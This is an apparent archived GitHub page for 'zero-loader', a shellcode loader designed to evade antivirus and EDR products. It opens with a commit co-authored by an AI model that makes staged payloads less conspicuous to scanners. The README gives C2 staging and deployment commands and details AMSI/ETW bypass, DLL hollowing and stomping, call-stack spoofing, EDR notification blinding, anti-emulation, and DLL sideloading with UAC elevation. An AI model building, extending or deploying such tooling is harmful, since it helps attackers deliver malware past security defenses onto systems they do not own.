xAL6 dfb8c5d63c Encrypt.py: derive output filename from URL basename
The URL passed via --url (e.g. https://server/payload.dat) and the file
Encrypt.py wrote (data.enc) didn't match — operators had to rename the
file before uploading, which was both error-prone and pointlessly noisy
("data.enc" itself screams "encrypted blob" to any FS scanner).

Encrypt.py now defaults the output filename to the URL's last path
component, so encrypt-then-upload is a no-rename flow. --out <file>
overrides if a different name is needed.

  --url https://c2/payload.dat                 -> writes payload.dat
  --url https://c2/foo.bin                     -> writes foo.bin
  --url https://c2/x --out something.dat       -> writes something.dat

Downstream:
- tests/c2-integration/build-demos.py: reads ROOT/<label>.dat directly
  instead of ROOT/data.enc → ENC_DIR/<label>.dat.
- tests/c2-integration/run-loader-test.py: looks for payload.dat after
  the build step (URL basename is hardcoded to payload.dat for the runner).
- host-payload.py docstring + route handler: keeps /payload.dat as the
  primary URL; /data.enc still aliased for backward compat.
- SideloadGen.py deploy hint: updated.
- CLAUDE.md / README.md / web/static/index.html: docs updated to refer to
  the URL-basename convention instead of hardcoded "data.enc".
- .gitignore: payload.dat + *.enc added.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-24 14:01:22 +08:00
2026-03-15 21:21:10 +08:00

zero-loader

Polymorphic x64 shellcode loader

Zero CRT. Zero static signatures. Zero trace in the call stack.


Arch Lang CRT License

Every build produces a unique binary — nothing matches across compilations.


Warning

This project is intended for authorized security testing, research, and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse.


Overview

Most loaders get flagged because they ship the same binary. zero-loader regenerates all cryptographic material on every build — keys, nonces, string encoding, PE metadata. No two compilations share a hash.


Features

Evasion

Indirect Syscalls SSN sourced from a clean \KnownDlls\ntdll.dll section (defeats userland hooks on ntdll). 64 syscall;ret gadgets pooled, randomly selected per call via RDTSC. Hooked-stub fallback for neighbour-SSN recovery
Patchless AMSI/ETW VEH + hardware breakpoints (DR0/DR1) via NtContinue — zero bytes modified, passes integrity checks
Module Stomping + .pdata Primary path. Picks a sacrificial DLL from a 4-entry allowlist (xpsservices / mfreadwrite / dbgcore / mfsensorgroup — low-sensitivity multimedia/debug modules, rotated per-run via RDTSC), overwrites its .text with shellcode, and registers a synthetic RUNTIME_FUNCTION via RtlAddFunctionTable. Defeats Elastic 8.11+ kernel ETW callstack validation that flags stomped regions with no .pdata entry. No NTFS transaction → Defender MpFilter has no hook here
Ghostly Hollowing Tier-2 fallback. Copies sacrificial DLL to %TEMP%, opens with FILE_FLAG_DELETE_ON_CLOSE, writes XOR-encrypted shellcode at .text raw offset, creates SEC_IMAGE section, closes the file (disk file gone — section keeps the kernel FILE_OBJECT alive), maps + decrypts in memory. Bypasses Defender's MpFilter transaction-aware scanner entirely (Maldev Academy 2024 technique)
Phantom DLL Hollowing (XOR-in-transaction) Tier-3 fallback. NTFS-transacted copy of a sacrificial DLL with the shellcode bytes XOR-encrypted before write (per-build 16-byte key); after NtCreateSection(SEC_IMAGE) + map, the loader flips RX → RW, XOR-decrypts in place, flips back. Defender's MpFilter transaction-aware scanner sees only encrypted bytes in the in-flight view
Anti-emulation prologue RDTSC determinism check + CPUID 0x40000000 hypervisor brand check + API hammering to exhaust mpengine's ~200ms wall-clock budget. Bails before any allocation/decryption if running inside Defender's emulator
Poison Fiber Kick-off Primary execution path is ConvertThreadToFiber + SwitchToFiber on the main thread — no new OS thread, so PsSetCreateThreadNotifyRoutine never fires. Thread-pool fallback if fiber APIs unavailable
Multi-module Call Stack Spoofing FF D3 (call rbx) gadgets pooled from ntdll / kernel32 / kernelbase (up to 64); per-run RDTSC pick defeats "single return-address frequency" heuristics. All frames resolve to legitimate modules
Wait:UserRequest keep-alive Alertable NtWaitForSingleObject(NtCurrentProcess) instead of NtDelayExecution, so the thread's WaitReason reads UserRequest — beats Hunt-Sleeping-Beacons / BeaconHunter fingerprints
Anti-Analysis PEB debugger flag, NtGlobalFlag, CPU count, RDTSC timing delta
IAT Camouflage Dead-code benign imports the optimizer cannot eliminate
Blind DLL Notifications Walks and unlinks all EDR LdrRegisterDllNotification callbacks — subsequent LoadLibrary invisible
DLL preload shuffle After blinding, amsi/wininet/ktmw32 are preloaded in a RDTSC-seeded Fisher-Yates order so the remaining kernel-ETW image-load sequence is unpredictable
Exit Hook Patches RtlExitUserProcess with PAUSE loop — prevents host exit from killing C2 (DLL sideload)
Post-Exec Cleanup Removes VEH, clears DR0/DR1/DR7 via NtContinue, wipes keys/URLs/nonces before shellcode execution

Crypto & Staging

Chaskey-12 CTR ARX block cipher — pure ALU, no S-boxes, no lookup tables, no RC4 signatures
LZNT1 Compression Compressed before encryption, decompressed at runtime via ntdll
Polymorphic Strings 4-byte rotating XOR across 25+ strings, keys regenerated every build
PE Mutation TimeDateStamp, Rich header, section padding, checksum — randomized post-build
Entropy Balancing Section padding filled with natural-language strings (API names, HTTP headers, lorem ipsum) so overall section entropy stays in the 4.5-6.5 bit/byte range, dodging Defender ML / ESET / Sophos high-entropy heuristics
HTTPS Staging Dynamic WinINet + InternetCrackUrlA + self-signed cert bypass
W^X Memory PAGE_EXECUTE_READ default. RWX_SHELLCODE flag for Go-based implants

DLL Sideloading

Export Forwarding Auto-generated linker pragmas — PE loader handles all legitimate API calls natively
Version Info Cloning Extracts and reproduces VS_VERSIONINFO from target DLL
Process Persistence RtlExitUserProcess patch + LdrAddRefDll pin — DLL survives host exit
Optional UAC uac build flag enables self-relaunch elevation via ShellExecuteA("runas")
Loader Lock Safe DllMain uses ntdll-only APIs; loader pipeline deferred to thread pool

Quick Start

# 1  Encrypt & compress shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat

# 2  Build
build.bat                                  # EXE
build.bat uac                              # EXE with UAC manifest

# 3  Deploy — upload payload.dat (URL basename) to staging server, deliver the EXE

Re-run steps 1 & 2 for a completely new binary.

Web Console (optional)

A browser-based wrapper for the three CLI steps above (encrypt / sideload / build). Runs on 127.0.0.1 only — no auth, not meant to be exposed to a network.

cd web
run.bat            # first run creates .venv and installs Flask
                   # then starts http://127.0.0.1:7890

The console streams build.bat output live, shows per-section entropy from Mutate.py, and exposes every compile-time flag (DEBUG, RWX_SHELLCODE, ENABLE_SYNTHETIC_STACK, uac) as a checkbox. Built artifacts appear in the sidebar with one-click download.

DLL Sideloading
# 1  Generate export forwarding
python SideloadGen.py C:\Windows\System32\<target>.dll

# 2  Encrypt shellcode
python Encrypt.py payload.bin --url https://<C2>:<PORT>/payload.dat

# 3  Build
build.bat sideload <target>.dll            # no UAC
build.bat sideload <target>.dll uac        # self-relaunch UAC

# 4  Deploy
#    Rename real <target>.dll → <target>_orig.dll
#    Place proxy <target>.dll + <target>_orig.dll alongside host EXE
#    Upload payload.dat (URL basename) to staging server, run host EXE
Build Flags

Edit Common.h or pass via build.bat:

Flag Default Purpose
DEBUG Off Logging to debug.log, skips anti-analysis
RWX_SHELLCODE Off PAGE_EXECUTE_READWRITE for Go/Sliver
BUILD_DLL Off DLL sideload build (set by build.bat sideload)
REQUIRE_ELEVATION Off Self-relaunch UAC for DLL sideload (build.bat sideload ... uac)
ENABLE_SYNTHETIC_STACK Off Swap RSP to a 1 MB synthetic stack with three fake ntdll/kernel32 return addresses before shellcode runs (Draugr MVP). Disabled by default — the heap allocation and borrowed .pdata coverage are themselves heuristic signals; enable only after validating with Moneta / Pe-Sieve / WinDbg stack-walk in the target environment
Requirements
  • Windows 10/11 x64
  • Visual Studio 2022+ (MSVC + ml64)
  • Python 3.x

Architecture

Execution Chain

Main()
 │
 ├─ IatCamouflage              pad IAT with benign imports
 ├─ AntiAnalysis               PEB · NtGlobalFlag · RDTSC
 ├─ InitializeNtSyscalls       single-pass export scan
 │                              └ SwitchToCleanNtdll (\KnownDlls\ntdll.dll)
 │                              └ 64-entry syscall;ret gadget pool
 ├─ InitializeWinApis          FindLoadedModuleW → kernel32 → JOAAT resolve
 ├─ BlindDllNotifications      unlink LdrRegisterDllNotification entries
 ├─ ShufflePreloadLibraries    Fisher-Yates (RDTSC) amsi/wininet/ktmw32
 ├─ AntiAnalysis               PEB.BeingDebugged · NtGlobalFlag · NumberOfProcessors · RDTSC
 ├─ AntiEmulation              RDTSC variance · CPUID hv brand · mpengine budget burn
 ├─ PatchlessAmsiEtw           DR0 = EtwEventWrite
 │                              DR1 = AmsiScanBuffer
 ├─ BruteForceDecryption       recover Chaskey key
 ├─ DownloadPayload            HTTPS GET → encrypted blob
 ├─ ChaskeyCtrDecrypt          in-place decryption
 ├─ DecompressPayload          LZNT1 via RtlDecompressBuffer
 │
 ├─ ┌ ModuleStomp ──────────── allowlist + overwrite .text + RtlAddFunctionTable
 ├─ │ GhostlyHollow ────────── DELETE_ON_CLOSE → SEC_IMAGE → file unlinked
 ├─ │ PhantomDllHollow ─────── NTFS txn + XOR-encrypted .text → SEC_IMAGE → rollback
 ├─ └ NtAllocateVirtualMemory  private RW → RX  (last resort)
 │
 ├─ CleanupEvasion             wipe VEH · DR regs · keys · URLs
 ├─ CollectCallGadgets         pool FF D3 from ntdll/k32/kbase/dbgcore/dbghelp/dsdmo
 ├─ GetRandomCallGadget        RDTSC pick
 ├─ SetSpoofTarget             configure ASM trampoline
 ├─ [opt] BuildSyntheticStack  1 MB fake stack · 3 ntdll/k32 anchors
 │
 ├─ ConvertThreadToFiber       primary: Poison Fiber on main thread
 ├─ CreateFiber(SpoofCallback)
 └─ SwitchToFiber              never returns — shellcode runs on fiber
       ↳ fallback if fiber APIs unavailable:
         TpAllocWork / TpPostWork + alertable NtWaitForSingleObject

DLL Sideload Flow

Host EXE loads proxy DLL → DllMain
 │
 ├─ PEB walk → find ntdll
 ├─ InstallExitHook            patch RtlExitUserProcess (PAUSE loop)
 ├─ TpAllocWork(SideloadWorker) → TpPostWork → return TRUE
 │   [Host app continues, ExitProcess blocked]
 │
 └─ SideloadWorker (thread pool)
     ├─ [uac] IsElevated? → no: ShellExecuteA "runas" → terminate self
     ├─ LdrAddRefDll           pin DLL in memory
     └─ Main()                 full loader pipeline

Call Stack

Default (Poison Fiber path):

 RIP  shellcode           ← phantom/stomped DLL .text
  ↓   call rbx gadget     ← ntdll / kernel32 / kernelbase (randomized)
  ↓   fiber entry frame   ← fiber-allocated stack

With ENABLE_SYNTHETIC_STACK the fiber stack is replaced by a pre-built synthetic chain:

 RIP  shellcode                    ← phantom/stomped DLL .text
  ↓   call-gadget return           ← ntdll / kernel32 / kernelbase
  ↓   NtWaitForSingleObject + 0x20 ← ntdll
  ↓   RtlUserThreadStart    + 0x20 ← ntdll
  ↓   BaseThreadInitThunk   + 0x20 ← kernel32

Stomped regions carry a synthetic RUNTIME_FUNCTION registered via RtlAddFunctionTable, so RtlLookupFunctionEntry(rip) returns a valid handle and the stackwalker can unwind each frame.

Encryption Pipeline

  Build time                              Runtime
  ──────────                              ───────

  shellcode.bin                     HTTPS download
       │                                 │
  LZNT1 compress                    Chaskey-CTR decrypt
       │                                 │
  Chaskey-CTR encrypt ─→ payload.dat ─→ LZNT1 decompress
       │                                 │
  key protection                    brute-force recovery
  (XOR + offset)
       │
  Payload.h
  (randomized keys, nonce, strings)

Project Layout

main.c              orchestrates the execution chain
Syscalls.h/.c       indirect syscall engine · SSN + gadget pool
AsmStub.asm         x64 MASM · RunSyscall · SpoofCallback
WinApi.c            PEB walking · JOAAT hashing · CRT stubs
Evasion.c           patchless AMSI/ETW · anti-analysis · cleanup
Stomper.c           phantom hollowing (auto DLL scan) · module stomping · gadgets
Crypt.c             Chaskey-12 CTR · LZNT1 · key recovery
Staging.c           HTTPS staging · cert bypass
Common.h            defines · hashes · typedefs · macros
Structs.h           undocumented NT structures
Payload.h           auto-generated (never edit)
Sideload.c          DLL entry point · exit hook · elevation
SideloadGen.py      export forwarding generator · version info cloning
Sideload.h          auto-generated export forwards (never edit)
Sideload.rc         auto-generated version info (never edit)
Encrypt.py          encryption + compression + obfuscation
Mutate.py           post-build PE metadata randomizer
build.bat           ml64 → cl → Mutate.py
S
Description
Automated archival mirror of github.com/xAL6/zero-loader
Readme MIT 229 KiB
Languages
C 56.8%
Python 29.3%
Assembly 3.8%
CSS 2.8%
JavaScript 2.5%
Other 4.8%